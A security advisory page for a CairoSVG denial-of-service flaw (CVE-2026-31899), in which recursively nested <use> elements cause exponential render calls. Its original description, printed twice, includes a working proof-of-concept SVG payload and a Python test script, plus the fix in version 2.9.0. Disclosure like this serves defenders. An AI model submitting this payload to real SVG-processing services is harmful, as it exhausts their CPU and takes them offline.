Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
7.5
CairoSVG Can Be Overwhelmed by Malicious SVG Files
GHSA-f38f-5xpm-9r7c
CVE-2026-31899
Summary
CairoSVG has a security issue that can cause a denial-of-service (DoS) by consuming all available CPU resources. This can happen when a maliciously crafted SVG file is processed by CairoSVG, causing the program to make an excessive number of rendering calls. To mitigate this issue, update CairoSVG to the latest version or apply a patch.
What to do
- Update cairosvg to version 2.9.0.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | cairosvg | <= 2.8.2 | 2.9.0 |
Original title
CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification
Original description
## Summary
Kozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.
## Vulnerable Code
File: `cairosvg/defs.py` (line ~335), function `use()`
The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
## Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input
## Proof of Concept
Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:
```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```
Expected: `timeout` kills the process after 10 seconds (it never completes on its own).
Alternatively test with Python:
```python
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
```
## Suggested Fix
Add recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.
## References
- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)
## Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Kozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.
## Vulnerable Code
File: `cairosvg/defs.py` (line ~335), function `use()`
The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
## Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input
## Proof of Concept
Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:
```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```
Expected: `timeout` kills the process after 10 seconds (it never completes on its own).
Alternatively test with Python:
```python
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
```
## Suggested Fix
Add recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.
## References
- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)
## Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
ghsa CVSS3.1
7.5
Vulnerability type
CWE-400
Uncontrolled Resource Consumption
Published: 13 Mar 2026 · Updated: 13 Mar 2026 · First seen: 13 Mar 2026